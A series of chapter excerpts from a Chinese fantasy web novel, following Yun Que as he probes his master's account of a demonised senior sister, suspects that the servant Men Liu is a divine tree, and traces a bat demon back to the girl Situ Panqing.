咔嚓!咔嚓! 杂乱的惊呼声中,两道肢体断裂的响动同时出现。 大殿内,鲜血飙溅! 第297章 北伐真相 病房内,吕青查看过幽人的状态后,留下一小瓶丹药,吩咐道: “每天子时,给她吃一粒。” 李玄驹连忙接过药瓶,口中称是。 阎罗犹豫了一下,道: “师尊,大师姐的状态不同寻常,当时与四品破军境强者交手,大师姐几乎完全妖化,会不会伤及了神魂?” 吕青淡然道: “丹药有修补神魂之效,能否醒来,看她的造化,把她放进地牢修养。” 吕青没有多说什么,转身离去。 几名弟子不敢多问,但阎罗李玄驹都有种预感,大师姐的处境怕是极其危险,有彻底妖化的可能,否则师尊也不会将大师姐放进地牢。壹趣妏敩 一旦妖化,地牢便是最好的牢笼。 吕青走后,阎罗叹气道: “希望大师姐能挺过这一劫,当时若没有大师姐出手,我们谁也活不成。” 李玄驹道:“有师尊的灵药,大师姐肯定能醒过来。” 花不谢与司徒盼晴纷纷点头赞同。 监正出手如果都无效,那么别人更没办法救醒大师姐。 牧青瑶内疚的道:“有劳师兄师姐们照顾大师姐,这几日我会很忙,顾不过来这边。” 花不谢道:“小师妹已是帝王,国事繁忙,照顾大师姐的事无需你担心,有我们在呢。” 司徒盼晴道:“师妹好好当皇帝,我们大家都支持你!” 阎罗道:“师尊既然出关,大师姐肯定能安然无恙,小师妹专心国事即可,这边不必担心。” 李玄驹道:“小师妹以后就是皇帝了,如有闲暇,别忘了回司天监看看我们这些师兄师姐,司天监是你的家,我们都是你的家人,以后有什么麻烦,回来找师兄就成!” 李玄驹说得感人肺腑,随后加了一句。 “不过事先说好,挪移火炮这种苦力活儿,我肯定不干了啊!给钱都不干!” 牧青瑶笑着说好,随后几人将大师姐抬到地牢,由司天监的专人负责看护。 忙活完这边,牧青瑶发现云缺不见了。 想了想,好像刚才离开病房的时候,云缺去了观星台。 抬头望向高高的塔顶,牧青瑶秀眉紧蹙。 她知道云缺有满心的疑惑,无法解开,而师尊又经常闭关很难见到一面,今天云缺肯定要去找师尊询问一些事情。 幽人的妖化,是牧青瑶没有料到的,她与阎罗等人,都不清楚大师姐的状态,只知道大师姐很早之前便成为了师尊的第一个弟子。 至于大师姐的来历与身世,牧青瑶和阎罗这些师妹师弟并不知情。 师尊不说,没人敢问。 其他弟子不敢问的事,云缺敢问。 当牧青瑶抬头望向塔顶之际,云缺已经踏上了观星台。 吕青正站在高台边缘,望着远处,只给云缺留下一道青衣背影。 云缺深吸了一口气,正要开口,吕青先说话了。 “我知道你有很多疑惑,既然我已出关,今天你可以问个清楚,说罢,你想知道什么。” 云缺沉声道: “幽人,为何也是妖武者。” 吕青眺望着远处,语气平静的道: “幽人在司天监的时间,比你还长,你尚未出生的时候,她已经在这了,她是师尊打造的特殊妖武者,她没有妖刀,妖骨完全融入自身骨骼,你可以将她看做一个半成品,战力比正常的妖武者还强,但弊端也很明显,妖骨融身,会影响神智,妖化的概率更大。” 吕青解释了幽人的来历。 原来是前朝监正魏墨城的手笔! 正常的妖武者,是妖魂融体,妖骨化刀,只需要神魂融合即可。 第298章 观星台上的第三个人 走下观星塔之后,云缺离开司天监,前往学宫。 皇城局势逐渐稳定。 三天后只要牧青瑶完成登基大典,昭告天下,将正式成为大晋女帝。 皇城的事,告一段落,心里的疑惑也被尽数解开,云缺变得轻松很多,决定今天就回学宫。 有墨老的令牌在手,无需参加考核,随时都可成为学宫弟子。 黄昏时分,落日西坠,长街上逐渐热闹起来。 感受着往日里的繁华,云缺莞尔一笑。 殷子受在位这十几年,给大晋什么也没留下,皇帝死后,皇城的百姓没有一家挂白幡,仿佛死的不是皇帝,而是街边的一条野狗。 街头巷尾议论得最多的,是新登基的女帝,提及灵芸郡主登基,百姓们无不双手赞成。 走过一条长街,云缺便听到很多赞许之声,可见灵芸郡主在百姓间的威望有多高。 经过热闹的街头,云缺转向小巷。 抄近路,不知不觉间成了云缺的习惯。 巷子里人很少,云缺走着走着,忽然自语般说了句: “刚才,你在闻什么。” 这句话,是询问妖魂月魁。 在观星台上,云缺转身之际,鼻翼动了一下。 那不是云缺的举动,而是下意识的动作,是妖魂所为。 云缺对这事很奇怪。 很快耳畔传来月魁的声音:“监正说的话,你信了多少。”.m 云缺一边走,一边沉吟了一下,道: “九成,吕青没必要骗我。” 九成,已经是云缺的极限信任。 除了生死与共的牧青瑶,云缺能十成的信任之外,他最多只会信任别人九成,包括梅钱。 保持一成的不信,是云缺的习惯,也是一份猎妖人与生俱来的谨慎。 月魁道:“你们那个监正,怕是没说多少实话。” 云缺皱眉道:“何以见得?” 月魁道:“燕皇病重,寻找涅槃契机无可厚非,毕竟人都怕死,但你觉得燕皇会傻到去找二阶化羽强者索要契机吗,血狸一族的复生天赋,需要我们的命,燕皇的修为,连给我父王塞牙缝都没资格。” 云缺道: “也许燕皇并不了解妖都之王真正的境界,所以才冒险一试,我认为燕皇与司天监都是棋子,用来冲锋陷阵,真正的幕后黑手,是楚红莲背后的‘他们’,吕青未必知情。” 吕青刚才的解释,合情合理,云缺找不出半点漏洞。 而吕青的为人,云缺是知道的,自己的父母都很尊重这位司天监曾经的大师兄。 月魁道: “前朝监正的消失,吕青应该知道点什么,所以我才认为他刚才没说实话。” 云缺道: “吕青没参与妖都之战,始终坐镇司天监,他不可能知道魏墨城的生死。” 月魁道: “别说得那么绝对,刚才你问他魏墨城是不是没死的时候,吕青回复的语气里,有着一份很难察觉的情绪,我住在识海看不到东西,只能听见声音,所以我对别人说话的语气很敏感。” 云缺道:“我没听出有什么不对,他刚才有什么情绪?” “好奇。”月魁道:“他对你的问题感到新奇,这可不像一个死了师尊的弟子,应该呈现的情绪。” 云缺没吭声,回想了一下刚才与吕青的对话。 确实有一个奇怪的地方。 自己问出魏墨城是否没死的时候,吕青的站姿发生了变化,原本背对着自己,却转过了身。 当时云缺没在意,现在想起来,转身的动作,显然代表吕青对自己提出的疑问很感兴趣。 云缺道: “即便他情绪中出现一丝好奇,也说明不了什么,也许是对我提出的疑问感到意外,他没想到我会那么问。” 月魁道: “反正我对那个吕青没有半点信任,再告诉你个消息,刚才在观星台上,不止你和吕青两个人。” 第299章 沉迷男色 云缺躺在房间内,望着夜空的皓月发呆。 心里始终猜测着观星台上的第三个人,到底是何方神圣。 最有可能的,只有魏墨城。 如果魏墨城诈死,那么作为大弟子的吕青,自然而然要听从师尊的号令。 他们…… 云缺的脑海里再一次回荡起楚红莲临死之际说出的‘他们’两个字。 如果魏墨城是‘他们’当中的一员,那么红莲教,相当于成了魏墨城的手下。 暗中用红莲教祸乱大晋,明着又让吕青坐镇司天监守护皇城,魏墨城到底要做什么? 目的何在? 云缺越想心绪越乱。 魏墨城如果为了自己与月魁而来,直接对自己下手就行了,何必弄出红莲教来为祸天下。 烦乱的心绪,加上多日的疲惫,云缺身上的妖气若隐若现。 闭上眼,云缺将月玉贴在额头,沉静心神。 很快,渐渐睡去。 月玉在皓月之下泛着暗淡的光晕,犹如一块寒冰,散发着阵阵清凉。 这一晚,云缺做梦了。 再次梦到那个模糊的小女孩。 云缺独自坐在一处崖顶,四周被迷雾笼罩,看不到任何景致。 漆黑的大雾不断翻滚,如惊涛骇浪。 小女孩坐在云缺身边,安安静静,模模糊糊,看不到模样。 “你是谁呢,为什么陪着我……” 云缺想要仔细看清对方的容貌,可不管如何努力,依旧看不清小女孩的样子。 对方很小。 小小的身体,在崖顶犹如一棵小草,翻滚的迷雾很容易将其吞没。 小女孩始终陪在云缺旁边,固执得好似一块顽石。 “你不怕掉下去,万劫不复?” 云缺指了指崖底的万丈深渊。 小女孩缓缓摇头,示意她不怕。 “奇怪的家伙,你到底从哪里来的呢,该不会是月玉里的残魂?” 云缺嘀咕着站起身,展开双臂,道:“既然你不怕,咱们俩一起把这片大雾撕开!” 小女孩也站了起来,学着云缺的模样,努力展开手臂。 翻涌的迷雾,渐渐裂开,刺眼的光线随之而来。 云缺下意识的用手遮住光亮,揉了揉眼睛醒来。 日上三竿,梦境里的光芒,其实是阳光照在了脸上。 “奇怪的梦……” 云缺舒展了一番筋骨,走出西楼,先去饭堂吃饭,顺便把屠苏和满申抓住拷问一番,天鹰部到底谁是大汗。 饭堂里热热闹闹,人来人往,直至吃饱喝足,云缺竟没看到屠苏和满申的身影。 “那两个饿狼怎么没来吃饭?” 云缺很是奇怪。 找人打听了一下,得知屠苏和满申最近一月没在学宫,不知去向。 云缺更觉得奇怪了,实在想不通那两个家伙去了何处,到底是什么身份。 之后去了趟司天监,探望幽人。 幽人始终没醒,气息倒是好转不少。 从外表看,伤势几乎无碍,但云缺知道幽人仍然处于危险状态。 与自己动用妖力过多的那次十分相似,神魂肯定受损严重。 转回斩妖司,把常威瞎子和萍山君叫了过来。 “门六还没回来?”云缺道。 “没有,王爷上次苏醒之后,门六就不见了踪迹,最近没看到他人。”常威道。 云缺皱了皱眉,道: “我昏睡的时候,谁负责给我熬药喂药。” “门六!”瞎子道。 “当时门六有没有特殊的举动。”云缺问道。 一听这话,常威瞎子和萍山君齐刷刷摇头,异口同声的道: “没有!” 云缺一听就知道有问题,这么整齐的动作和回答,肯定有猫腻。 云缺狐疑的瞄了眼三个家伙,走到瞎子旁边,掐住对方的肩膀道: “我在学宫听说一个法子,瞎了的人,只要把眼珠子挖出去,对听觉有着极大好处,能练出听声辨位的功夫,武道之上肯定能更上一层楼,要不,你试试?” 瞎子哆嗦了一下,道: “我想起来了!门六给王爷喂药的时候,每次都用手指试水温,在汤药里搅和半天,当洗手了,大当家说不干不净喝了没病!” 这下轮到常威一哆嗦,急忙辩解道: “我听虎爷说的!虎爷说吃野味的时候不用洗,多说拔了毛,嚼起来有滋味!” 最后轮到萍山君,老虎傻兮兮的挠了挠头,茫然道: “对啊,洗什么洗,趁活的吃才有味儿呢!” 萍山君觉得门六的举动很正常,要是换它试水温,哪还用手指,直接舌头上去了。 等三人说完实情,云缺心里泛起了滔天巨浪。 他想起门六一系列不正常的举动。 能穿门而过,能藏身大树,喝水没够儿,简直是个树精一样。 云缺猜测自己之所以这么快就能苏醒,很可能是门六用手指入药的缘故! 云缺又想到一个奇特之处。 在百玉城地牢里的时候,地底那几棵血茸果所在的箱子没有盖子,是个整体,而且有根须样的东西埋在土里,连通着上方的牢房,从位置上看,就是门六之前趴着的地方。 血茸果的根须,有可能连接在门六的身上,换句话说,那些血茸果,是门六结出来的。 一个惊人的猜测在云缺脑海里出现。 门六,就是七叔苦苦寻找的乾阳神木! 想到这里,云缺立刻吩咐道: “你们去找门六,皇城里找不到就去外面找,翻遍整个大晋也要把他找出来!” 常威和瞎子连忙拱手领命。 萍山君道:“找他干啥呀,没准过几天饿了就回来了。” 云缺道:“你当他是你吗,快去找!找不到门六,你们别回来。” 两人一虎讪讪的离开司天监,站在大街上茫然四顾。 常威唉声叹气道:“人海茫茫,上哪找去啊。” 瞎子出主意道:“先去门六干活的那个商行瞧瞧。” 萍山君挠着虎头道:“云缺刚才是不是骂我来着,可我怎么听不出来呢。” 常威讪笑道:“没有,王爷夸你呢,饿了就知道回家!” 瞎子嘀咕道:“是啊,狗饿回嘛……” 打发走两人一虎,云缺找到牧青瑶。 牧青瑶正在忙碌着登基事宜,还没做皇帝,先看起了奏折,这几天皇宫在修建,群臣有事儿就往司天监跑,都快把司天监当皇宫了。 “没当皇帝就这么忙,当了皇帝还不得忙死,皇位看来不好做啊。”云缺感慨道。 “没办法呀,在其位谋其政,你看看这份奏折。”牧青瑶将一份奏折推给云缺。 “我才不看,我又不是皇帝,让别人知道免不得闲言碎语,说你这位皇帝沉迷男色,不理国政。”云缺笑道。 牧青瑶没被云缺的玩笑逗乐,反而有些忧心忡忡的道: “这份奏折不同寻常,来自知远县,我怀疑与十万大山里的巫族有关。” 云缺一听,立刻拿起奏折看了看,上面写着一个奇怪的现象。 第302章 当个屁就好了 回归本体后,云缺再次查看了一番棺材。 墨老的尸体早已冰冷,打开上衣,心窝处是一个腐烂的大洞。 死透了。 云缺从尸体身上翻找出一些杂物。 银票十来张,灵石几十块,灵丹两瓶,还有一部邹邹巴巴的书籍。 翻开看了看,是炼神术的前三层。 第一层炼尸,第二层御魂,第三层破神。 三层法门的修炼方式均有详细记载,并且密密麻麻写满了墨老的心得。 第四层也就是最后一层只有个名字,其他空白一片。 炼神。 炼神,是炼神术的称呼,回归主题,但如何炼神,一个字没有。 合上书籍,云缺将其收好。 这东西有大用,尤其墨老的心得体会,千金难求,是修炼这部法门的关键。 “炼神……炼谁的神?炼自己的还是别人的?” 云缺嘀咕了一句,想不通最后一层的真相。 随手打开药瓶。 每瓶里有十粒灵丹,一种白色丹药,冒寒气,另一种血色丹药,冒血气。 不懂,先收着。 应该值点钱。 灵石六十多块,不算多,不过银票不少,共计十多万两。 云缺发了笔横财。 收好东西,云缺再次仔细翻找了一遍。 尸体上再无他物。 棺材内外检查三次,什么也没有。 云缺微微皱眉。 “墨老的身家,有点少啊,好歹是四品元婴大修士,身上只有这点东西?” 云缺觉得有些奇怪。 按照墨老的说法,他来到学宫二十年了,一位道门四品强者,二十年间居然就这么点身家,实在寒酸了些。 以云缺推断,四品道门强者,肯定拥有自己的法宝,那可是无价之物。 结果别说法宝,墨老身上连件法器都没有。 “不应该啊,难道墨老会把宝贝藏起来?” 云缺喃喃自语,很快否定了这个猜测。 墨老夺舍而来,只有两个结果,不成功就失败,没有第三条路。 无论成功还是失败,事先藏起宝贝,没有任何意义。 成功了,云缺的身体就是墨老的,直接拿走尸体上的宝物即可。 失败了,墨老必死无疑,藏起来宝贝留给谁? “莫非,老东西还有其他后手?” 云缺暗暗猜测,猜不透墨老的心思。 墨老的尸体已经开始腐烂,炼尸肯定做不成,云缺想了想,决定将其带回学宫。 先生夺舍这件事,非同小可,得告知大祭酒才行。 临走前,云缺低声道: “我身上除了你之外,难道还有其他神魂?” 话,是对月魁说的。 墨老的说辞,云缺连一半都不信,不过听起来实在骇人。 “没有,我察觉不到其他神魂的存在。”月魁笃定道。 云缺放心了一些。 以月魁的强大,不应该感受不到识海里存在着其他神魂。 墨老的说辞,八成是一种心机,诱骗自己去抢炼神术。 在街上雇了辆马车,将棺材拉到天祈学宫。 云缺带着尸体找到大祭酒。 将墨老今天夺舍的经过,如实道出。 不过炼神术的消息,云缺可没说。 秦蒙坐在茅屋内,静静聆听着云缺说出的经过,长眉紧锁。 等云缺说完,大祭酒长长一叹。 “引狼入室,我这个大祭酒,不称职啊。” 短短一句话,云缺能听得出一种疲惫。 重新看了看大祭酒,云缺发现面前的老者愈发佝偻。 秦蒙很苍老,眉毛胡须全是白的,早已过了日暮之年。 “这事儿又不怪大祭酒,人心隔肚皮,没人能想到墨老的心思。”云缺道。 秦蒙点了点头,缓缓起身,做了个令云缺没想到的举动。 大祭酒竟对着云缺躬身一礼。 第303章 大唐那么刺激的吗 房石从怀里拿出个小巧的布袋,小心翼翼捧在手里,看似兽皮,巴掌大小,其上绣着精美的纹路。 云缺看得好奇,道: “这袋子,能验血脉?” 房石笑道: “袋子当然不能,云师弟稍等,我找一找那件法器。” 房石说着将两指探进袋子,划拉了好一会,拿出一件海碗形状的特殊法器。 云缺没看房石拿出的法器,而是始终盯着那个巴掌大的皮袋子。 从袋子里拿出的东西,竟然是其两倍有余! 正常情况,绝不会出现如此现象,只能说明那皮袋子内有乾坤。 “这袋子里,装了很多东西?”云缺问道。 “有几百件各类法器,还有些灵丹灵草等材料。” 房石笑着解释道:“此物名为储物袋,以法力或者气机沟通,道门儒家都能用,武者需要达到六品境界才可使用,因为宗师境可以将气机收缩如针,运转自如,六品以下的武者做不到这一点,强行使用会撑爆储物袋,有了储物袋,出门在外无需携带包裹,随身之物完全装得下,十分方便,云师弟要不要买一件。” “储物袋里面有多大的空间?”云缺很感兴趣的道。 “大致如我们所在的这间屋子大小,这件是普通储物袋,还有更高级的极品储物袋,空间将扩大十倍以上,只是太过昂贵,很少有人买得起。”房石道。 “屋子大小足够用了,普通储物袋要多少钱,我想买一件。”云缺道。 储物类的特殊法器,其实比飞行法器要实用得多,谁不想有个随身携带的超大空间。 而且储物袋以气机可以沟通,简直是武夫的福音! 武者使用飞行法器,需要灵石催动才行,否则是飞不走的。 储物袋则摆脱了灵石的限制,正如房石所言,十分方便。 至于六品宗师的限制,对云缺来说更不是问题,很快即可达到。 房石笑眯眯的伸出五指,道: “普通储物袋,需要这个数。” “五万两?”云缺道。 云缺估计的价格,是由身上那把冰晶飞剑而来,当时房石出五万两收,云缺没卖。 储物袋估计与飞剑的价格差不多。 房石笑着摇了摇头,道: “如果五万两能买到储物袋,有多少我收多少,云师弟是老主顾了,我给你个优惠价,五百万两,这个价格在修士坊市绝对算得上便宜了。” 听闻价格,云缺的好奇心立刻消失。 太贵了! 五百万两白银,相当于五千灵石! 对于大部分都是穷鬼的武夫来说,储物袋其实可有可无,有更好,携带东西方便,没有也一样,反正武器大多只有一件,背身上就走。 云缺不由得感慨万千。 难怪没见到武夫用储物袋的,这玩意给武夫实在奢侈,没几个用得起的。 略过储物袋,云缺看向房石拿出来的特殊法器。 类似一个大碗,材质与瓷器相仿,底部刻着太极图,两侧是阴阳鱼,中间是一块茶杯口大小的空白区域。 “这玩意怎么用,准不准?”云缺道。 房石得意的道: “当然准!此物名为血滴子,专门用来检验血脉,只要将鲜血滴在中间,即可检测出血脉纯正与否,看到里面的两条阴阳鱼了吧,阳,代表人族,阴,代表妖邪,鲜血流向哪个方向,便是何种血脉。” 第305章 守天下 自从牧青瑶登基,大晋之内所有城镇乃至大小村落的百姓欢欣鼓舞。 人们都在高兴着新皇继位。 殷子受在位的时候,大晋虽然表面上歌舞升平,繁华依旧,但那是前朝大燕的底子。 没了斩妖司,大晋地界的妖邪愈发泛滥,大城里的人们还好,偏远之地的百姓早已苦不堪言。 牧青瑶成为皇帝的第一天,便连下多道圣旨。 主要为三个方向。 征兵,减赋,抓老鼠。 征集强兵悍卒,打造威武之师,兵强马壮方为立国之本。 减少百姓赋税,营造太平盛世,水能载舟亦能覆舟的道理,牧青瑶比任何人都清楚。 而老鼠,指的是朝堂上的贪墨之人,无论品级大小,只要罪证属实,斩立决。 第一天的大朝会,从早上一直持续到天黑。 周史伯神采奕奕,气色极好,在朝堂上作为压轴儿之人,帮着新帝治理天下,仿佛有使不完的力气。 云缺看这老头的精神劲儿,估计再当二十年首辅问题不大。 天黑之后,群臣散去。 首辅,白厌与上官鸿途等人没走,与皇帝商议一个重要的事情。 关于暗卫。 暗卫的存在,曾经是震慑群臣的一把尚方宝剑,由无舌统管,无舌逃走之后,暗卫群龙无首,不能置之不理,否则容易出现意外。 首辅的建议,是将暗卫拆散,分到六部与禁军当中,久而久之,暗卫的名字便会彻底消失,还能增加大晋的战力。 暗卫总共五百人,均为武者,最高六品,最低八品,其中七品武夫的数量最多。 这份战力,相当惊人,是无舌这些年来耗尽心血打造的杀手锏,周史伯不舍得抹杀。 白厌的意见则不同。 毕竟暗卫曾经在无舌手下多年,无舌若回来报复,这些暗卫就成了皇城里的钉子,分散开来很难拔除,埋下祸端。 白厌的建议,是将暗卫保持原状,派遣到边关。 比如黑铁城或者天门关,作为一份对抗外敌的战力,远离皇城,逐渐消耗掉,等暗卫在边关尽数战死,这份祸端便彻底消失。 首辅与白厌争论了半晌,谁也难以说服谁。 后来云缺实在太饿,提出自己的建议。 “把暗卫给我好了,反正斩妖司没人,让他们都去斩妖司。” 云缺此言一出,首辅与白厌都赞同。 到了司天监,暗卫再如何有异心,也不敢有所动作。 在外人眼里,司天监就是个大号监牢,进去的人,没听说过敢捣乱的。 当然了,除了云缺这个异类之外。 牧青瑶最后拍板,将暗卫交给了云缺。 几人离开皇宫后,云缺特意与首辅一路,热情洋溢的说要送首辅回府。 周史伯看出云缺无事献殷勤,笑着道: “王爷有事不妨直说,老臣一把年纪,能帮得上忙的,自会尽心尽力。” 云缺道: “首辅大人慧眼如炬,我这点小心思果然瞒不过你老人家,其实是件喜事,上次去黑铁城,阜南王非得让我家中长辈去提亲才肯把女儿嫁过来,首辅也知道,我是个孤儿,爹娘早亡,七叔又不知去向,提亲这件事……” 周史伯哈哈笑道: “王爷放心!老臣明日走一趟黑铁城,替王爷提亲!” 云缺再次道谢,眉开眼笑。 首辅的份量足够,这下阜南王的面子也有了,闺女就该给自己了。 第309章 有了新人忘旧人 所有线索贯穿在一起之后,云缺的脑海里只剩下一个名字。 司徒盼晴! 贪吃,风属法术,爱嗑瓜子,这些都是司徒盼晴的特点。 而且司徒盼晴的体重也只有十斤。 上次八山城之战,进城救援郡主与首辅,云缺曾经拎起过司徒盼晴。 当时云缺还很奇怪,司徒盼晴的年纪虽然在外表看只有十来岁,但重量绝不该如此轻盈。 一两岁的娃娃,都不止十斤重了。 尤其蝠妖没杀花不谢的一幕,更让云缺觉得可疑。 妖,是不会对人族留情的。 除非这头妖,认得花不谢! “到底是妖,还是人……” 云缺紧锁眉峰。 他联想到了大师姐幽人的妖化。 如果蝠妖当真是司徒盼晴妖化的结果,那么吕青就是在说谎。 一个幽人,有可能是前朝遗留,但幽人之后的阎罗李玄驹等人,都是大晋时期拜入的司天监。 旭日东升,阳光明媚,云缺心里却隐隐发冷。 进城后,云缺没回司天监,而是将蝠妖的尸体带回学宫。 云缺没见过这种蝠妖,不知属于什么种类,但学宫里肯定有先生认得。 出现在天祈城里的这头蝠妖,十分古怪可疑,云缺想要查清究竟。壹趣妏敩 木安刚起来,正在洗漱,见云缺搬进来一头死掉的妖物,木安立刻过来帮忙一起抬。 “云师弟好身手,这么可怕的妖物也能杀掉。”木安道。 “别人杀的,我捡漏而已,拿回来看看能不能制成炼尸。”云缺随口道:“木师兄可认得这是什么妖物。” “朔风蝠。”木安脱口而出。 “木师兄见过这种妖兽?”云缺奇怪的道,以木安的修为,真遇到五阶妖兽岂有命在。 “在书上见过,墨老留在三楼的书籍有很多,我翻看过一本介绍妖物的,一会儿给你找找。”木安解释道,神色有些不太自然。..m 将妖物尸体搬到三楼宽敞的库房后,木安去翻书,不多时从书架上找到一本递给云缺。 “就是这本,云师弟慢慢看,我去忙了。”木安说完走下三楼。 云缺拿着书,没急着翻看,而是看了眼木安离去的背影,眉峰动了动。 木安今天有些不大对劲。 云缺记得很清楚,木安向来不敢在墨老的库房里久留,更别提来看书,他怎么知道书里有朔风蝠的介绍呢? 没再多想,云缺拿着书回到自己房间,仔细翻看。 果然书籍中有朔风蝠的介绍。 朔风蝠,是一种极其罕见的妖物,喜食鲜血,拥有风属天赋,残忍凶悍。 云缺揉了揉隐隐发疼的额头。 这件事,越来越显得离奇。 不说这等罕见的妖兽怎么会蛰伏在皇城,按照书籍上的记载,朔风蝠贪吃而残忍,接连被发现三次行踪,居然一个人也没杀,只有那胖厨子被吸干了一条手臂的血。 望着朔风蝠的尸体,云缺断定这头妖兽绝不正常。 重新翻了翻书籍,上面有关朔风蝠的介绍并不多,寥寥几行字。 云缺想要寻找有关朔风蝠重量与栖息地的信息,并没有记载。 按照朔风蝠的体型判断,绝对不该只有十斤重,这个疑点,也是云缺最为怀疑的地方。 因为司徒盼晴,也是十斤左右的体重。 合上书本,云缺返回司天监。 花不谢刚回来,妖山之行毫无收获,别说蝠妖了,整个妖山已经再无妖兽存在,尽数被学宫清理干净。 “妖物尸体在何处。” 花不谢问道,诡案完结,她要最后核对案件。 “半路丢了,飞着飞着打了个瞌睡,不知掉哪去了。”云缺道。 花不谢冷淡地瞥了一眼,道: “什么便宜都占,脸皮真厚。” 花不谢自然猜得出云缺扣下了妖物尸体,既然昨晚人家出了不小的力气,花不谢不再索要。 “脸皮厚吃个够嘛,脸皮厚才能讨人喜欢,不像世子,不会说话,脸皮还薄,注定没人看得上。”云缺道。 “谁说的,世子殿下比你强多了!”花不谢说完,立刻察觉到不妥,神色变幻了一下。 云缺瞪起眼睛,围着花不谢转了一圈,调侃道: “啧啧啧,老话儿果然说得没错,有了新人忘旧人啊。” “谁跟你是旧人!别白日做梦了!”花不谢怒道。 “我哪敢做梦啊,有你这种旧人,将来娃儿都吃不饱……”云缺嘀咕了一句。 花不谢眼皮狂跳,恨不得挠死云缺。 “不跟你斗嘴了,司徒盼晴在什么地方闭关,带我去找她,我有事。”云缺道。 “有什么事,跟我说即可。”花不谢冷着脸道。 “她欠我银子,我现在用钱。”云缺道。 “欠你多少,我帮师妹还给你就是。”花不谢道。 云缺的目光渐渐凝重下来,盯着花不谢道: “你,还不起。” 花不谢察觉到云缺目光的变化,即将出口的刁难被咽了下去,转身带路。 监正的几位弟子,住在司天监不同的位置。 云缺跟着花不谢来到一处僻静的小院落,院门屋门都关着。 花不谢在门口喊了两声,没人回话。 “师妹可能还在闭关,这时候打扰的话……” 花不谢话没说完,云缺已经走了进去。 屋里没人。 云缺打量了一下司徒盼晴的住处。 普普通通,没什么特别之处,一些衣物散落在塌上,看得出主人是个大大咧咧的人。 靠墙是一排木架。 木架上放着一些五颜六色的糖纸,各种糕点的封皮,还有一串风干的糖葫芦。 从摆设看得出,司徒盼晴确实贪吃。 “没在……五师妹去哪了?”花不谢疑惑道。 司徒盼晴这几天没在司天监出现,花不谢以为师妹在闭关修炼,结果并非如此。 “司徒盼晴的家,在什么地方。”云缺道。 花不谢摇头道: “五师妹没有家,她是师尊捡来的孤儿。” 云缺问道: “司徒盼晴排行老五,应该比牧青瑶年纪还大,为什么外表像个十来岁的孩子。” 花不谢道: “五师妹与六师妹是同一年拜入的司天监,当时我记得六师妹只是个婴孩而已,五师妹已经三四岁了,这些年不知为何,五师妹生长得十分缓慢,正常情况,五师妹今年应该有二十岁。” 云缺继续问道: “监正有没有说过,从哪里捡到的司徒盼晴。” 花不谢摇头道: “从未说过,你觉得五师妹有可能去寻找自己的身世?” 云缺低声道: “或许吧,她可能回家了……” 回家两个字,带着一丝莫名的沉重,花不谢没听出来。 第311章 一掌万里 演武殿的规矩,向来在半夜授课。 整个学宫安静无声,学子们大多已经入睡,唯独演武殿灯火辉煌,热热闹闹,一群武夫学子瞪着眼睛精神奕奕。 演武殿的先生更精神。 每到晚上,许闲云就像换了个人似的,精神抖擞,白天的时候则昏昏欲睡,哈欠连天。 先生一到,大殿内立刻鸦雀无声。 云缺坐在角落,聚精会神的等着听讲。 演武殿对云缺来说才是对口的学殿,想学武道,演武殿是不二之选。 先生尚未开讲,有个学子站了起来,道: “先生我要举报!我们演武殿有外人来偷听,就是他,云缺!” 被人举报,云缺大为无奈,在心里问候了对方的祖宗十八代,随后准备离开。 学宫有规矩,各殿弟子不可旁听其他学殿。 被演武殿的人举报,云缺觉得自己肯定会被赶出去,今天的课别想听了。 许闲云脸色一沉,抬手指向一处,道: “你,出去!” 云缺以为让自己出去,结果看到许闲云指的不是自己,而是举报自己的那个演武殿学子。 那学子恍惚了一下,不解道: “为、为什么啊先生,我是演武殿学子,云缺不是我们演武殿的人啊!” 许闲云一指云缺,道: “上次他就在演武殿里听课,还问过我有关凝神骨的问题,你们是不是以为我这位先生脑子有毛病,整天睡觉睡傻了?” 这下举报别人的学子不敢吭声了,垂头丧气离开大殿,其他人更不敢言语,老老实实坐在自己的位置上。 没人敢举报云缺。 不是怕云缺,而是许闲云认定了云缺就是演武殿学子,现在谁敢举报云缺,相当于骂先生脑子有毛病。 小插曲过后,许闲云直入主题。 “今日传授的功法,比较特殊,以你们如今的境界几乎是学不会的,无需你们掌握全部,只要了解些皮毛,足够你们终身受用!” “今后勤加习练,如果修炼成功,同阶无敌仅是最低效果,越阶杀敌,也有三成把握!” 轰一声。 大殿里炸了锅。 越阶杀敌四个字,令一群演武殿的学子们兴奋不已,呜嗷乱叫。 别看只有三成把握,要知道那可是越阶杀敌! 干掉比自己高一个大境界的对手,三成把握已经足够惊人! 一些学子等不急,纷纷催促先生快些传授功法,大家好开开眼界。 许闲云很满意学子们的反应,摆手示意大家安静,道: “这份功法,对武夫的天赋要求极高,天下武者无数,能修成此法者,一成不到,你们这里有几千人,今后能有百人练成,足够让我欣慰。” “传授之前,先让你们了解一番自己的天赋如何。” 说罢,许闲云将一些小铁片分发给众人,每人一片,放在桌子上。 云缺拿起铁片看了看。 没有特别之处,就是寻常的铁皮而已,巴掌大小,入手冰凉。 许闲云背着手,继续道: “虽是凡铁,却蕴含着一种特殊的力量,你们将铁片捏成铁球,过程中,感悟铁片里的力量,谁能感受出来,接下来传授的法门才有机会修炼成功。” 第313章 武道之巅 亲手埋下的尸体,即便当时没记清挖多深,但绝不会挖到两丈的深度。 云缺现在挖出来的大坑,别说埋人,埋两头大象都没问题。 穹舞站在牢房边缘,蹙眉不解,又不敢多问。 云缺凶巴巴的模样,她有点害怕。 云缺跃出大坑,在刑部里找到陈洲骅,询问是否有人在天牢里挖出了尸体。 “没人挖啊,天牢里的人手最近两天才补齐,谁能闲得没事挖坑玩。” 陈洲骅一个劲摇头,忽然道:“咱们攻打梨花城的那段时间,有没有人来过天牢那就不清楚了,王爷放心!这事儿我来查个清楚,肯定能水落石出!” 谢过陈洲骅后,云缺与穹舞返回学宫。 “你回去等着,找到尸体我再通知你。”云缺道。 “嗯,谢谢你。”穹舞低着头道谢,红着眼睛回了南楼。 云缺自己也觉得纳闷。 按理说,当初自己埋穹音尸体的时候,没人知道,尸体怎么会不见了。 就算皇城里有盗墓的,也不可能去刑部天牢里盗啊,那不是把自己盗进去了么。 再者说,埋穹音的时候,又没有陪葬品,单独的掩埋尸体而已。 偷走陪葬品还能卖点钱,偷尸体,有什么用? 云缺绞尽脑汁的想了一路。 整个天祈皇城,唯一对尸体感兴趣的,除了墨老,没别人。 难道是墨老把尸体挖走,当炼尸了? 怀着疑惑,云缺回到西楼。 这时天刚亮,木安打着哈欠刚刚起床。 “木师兄,我不在学宫这段时间,墨老有没有往西楼运尸体。”云缺道。 “运过几次,墨老经常需要炼尸,我帮着运的。”木安道。 “有没有女人的尸体。”云缺道。 